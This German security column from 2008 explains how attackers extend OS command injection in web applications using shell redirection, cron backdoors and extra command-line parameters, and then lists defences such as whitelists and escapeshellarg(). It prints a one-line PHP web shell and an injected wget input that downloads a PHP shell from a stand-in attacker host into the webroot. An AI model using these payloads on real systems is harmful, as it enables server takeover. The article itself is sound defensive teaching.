Samstag, 16. Juni 2012


Topthema

Mittwoch, 17. Dezember 2008 | Topthema

About Security #186: Schwachstellen-Suche: OS Command Injection (3)

(Link zum Artikel: http://www.entwickler.de/entwicklerde/kolumnen/046565)
  • Teilen
  • kommentieren
  • empfehlen
  • Bookmark and Share

Im Rahmen der Suche nach Command-Injection-Schwachstellen in Webanwendungen geht es in dieser Folge um die Frage, wie ein Angreifer evtl. vorhandene Einschränkungen umgehen kann. Außerdem erfahren Sie, wie Sie Command Injection in ihrer Webanwendung verhindern können.

Was Halbes ist besser als nichts

In manchen Fällen ist es nicht möglich, einen vollständigen Befehl einzuschleusen. Das könnte z.B. daran scheitern, das benötigte Zeichen ausgefiltert werden oder die verwendete API keinen weiteren Befehl zulässt. Trotzdem kann es möglich sein, den vorhandenen Befehl zu manipulieren, z.B. indem seine Ein- oder Ausgabe auf eine Datei umgelenkt oder Kommandozeilenparameter hinzugefügt werden.

Achtung Umleitung

Mit dem Zeichen < kann der Inhalt einer Datei zur Eingabe eines Befehls gemacht werden, während mit dem Zeichen > die Ausgabe eines Befehls in eine Datei umgeleitet wird. Das kann z.B. ausgenutzt werden, um entsprechend den Rechten des betroffenen Befehls beliebige Dateien zu lesen oder in beliebige Dateien zu schreiben. Das beim Lesen auf für den Angreifer möglichst interessante Dateien zugegriffen wird ist logisch. Aber was kann beim Schreiben passieren? "Das kommt drauf an" - eine eher unbefriedigende, aber in diesem Fall äußerst zutreffende Antwort. Und zwar darauf, wie viele eigene Daten der Angreifer in die Ausgabe einfügen kann und wie weit der betroffene Befehl die Ausgabe umformatiert bzw. allgemein verändert. Für den Angreifer ein Glücksfall wäre es, beim Angriff auf eine PHP-Anwendung z.B.

system($_GET[befehl]);

in eine Datei mit der Endung .php zu schreiben, um danach beliebige Befehle ausführen zu können. Den Code an ein vorhandenes PHP-Skript anzuhängen, führt nicht zum Ziel, da er dann nicht zwischen den für das Ausführen des PHP-Codes notwendigen <?php ... ?> landet. Daher ist es für den Angreifer zielführender, eine neue Datei mit Endung .php unterhalb des Webroot-Verzeichnis anzulegen und den gewünschten Code dort rein zu schreiben. Dabei stößt er auf ein weiteres Problem: Da < und > bereits durch die Shell für die Umleitung der Ein- und Ausgabe verwendet werden, müssen sie als Bestandteil des Texts maskiert werden. Dafür werden wieder Metazeichen benötigt, die sehr wahrscheinlich ausgefiltert werden oder zum Verwerfen der Eingabe führen.

Ein weiterer üblicher Angriff ist z.B. das Schreiben zusätzlicher Einträge in eine der Steuerdateien für cron-Jobs, um darüber eine Hintertür zu öffnen.

Kommandozeile erweitern
About Security: Die komplette Serie

Die meisten Systembefehle verwenden verschiedene Kommandozeilenparameter zur Kontrolle ihres Verhaltens. Werden die vom Benutzer gelieferten Daten als Wert eines Kommandozeilenparameters verwendet, was häufig vorkommt, kann der Angreifer evtl. weitere Kommandozeilenparameter einfügen, indem er sie einfach nach einem Leerzeichen in seine Eingabe schreibt. Zum Beispiel könnte die Webanwendung eine Funktion enthalten, die eine vom Benutzer übergebene URL anfordert und im Webbrowser ausgibt. Dafür kann z.B. wget mit dem Parameter url verwendet werden. Für die Benutzereingabe http//irgendein.server.example/datei.txt führt das zum Aufruf von

wget url=http//irgendein.server.example/datei.txt

wget kennt den Kommandozeilenparameter -O, mit dem eine zu verwendende Ausgabedatei festgelegt wird:

-O /lokaler/pad/datei

Ein Angreifer kann darüber z.B. eine PHP-Shell in eine Datei unter dem Webroot-Verzeichnis schreiben lassen. Der dafür notwendige Eingabewert ist z.B.

http//angreifer.example/phpshell.txt%20-O%20/var/www/phpshell.php

Die %20 sind URL-kodierte Leerzeichen. Zusammengesetzt und dekodiert ergibt das den Programmaufruf

wget url=http//angreifer.example/phpshell.txt -O /var/www/phpshell.php
Command Injection verhindern

Die beste Gegenmaßnahme zur Verhinderung von Command Injection ist der vollständige Verzicht auf direkte Aufrufe von Shell-Befehlen, zumindest aber der Verzicht auf entsprechende Aufrufe mit vom Benutzer manipulierbaren Parametern. Die allermeisten Aufgaben können auch über die nicht für Command Injection anfälligen API gelöst werden.

Lässt es sich überhaupt nicht umgehen, einen Shellbefehl mit einem vom Benutzer manipulierbaren Parameter aufzurufen, muss die Eingabe sehr genau geprüft werden. Wenn irgendwie machbar, sollte die Eingabe mit einer Whitelist zulässiger Werte verglichen werden. Die zweitbeste Lösung ist die Beschränkung auf eine genau festgelegte Menge an Werten, z.B. nur alphanumerische Zeichen oder nur Ziffern. Alle Eingabe mit unzulässigen Werten, insbesondere natürlich Shell-Metazeichen oder Whitespaces, werden verworfen. Unter Unix kann statt eines Whitespace-Zeichens auch die Environment-Variable $IFS mit den Whitespace-Feldseparatoren verwendet werden!

Evtl. hat die Eingabe auch ein genau definiertes Format, das mit Hilfe regulärer Ausdrücke geprüft werden kann. Falls es sich z.B. um eine E-Mail-Adresse handelt, kann deren Aufbau überprüft und jede syntaktisch ungültige E-Mail-Adresse verworfen werden.

Als zusätzlichen Schutz können API-Befehle für den Aufruf der Shell-Befehle verwendet werden, die die Eingaben zusätzlich prüfen und/oder die Metazeichen nicht unterstützen wie z.B. die Java-API Runtime.exec. In PHP schützen die Filterfunktionen escapeshellarg() und escapeshellcmd() vor eingeschleusten Befehlen.

In der nächsten Woche gibt es das traditionelle Weihnachts-Special mit Lesetipps und mehr. In der nächsten regulären Folge wird das Einschleusen von Schadcode in Skriptsprachen und die Suche danach beschrieben.

Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!

Carsten Eilers

About Security - Übersicht zum aktuellen Thema:

Kommentare

Folgende Links könnten Sie auch interessieren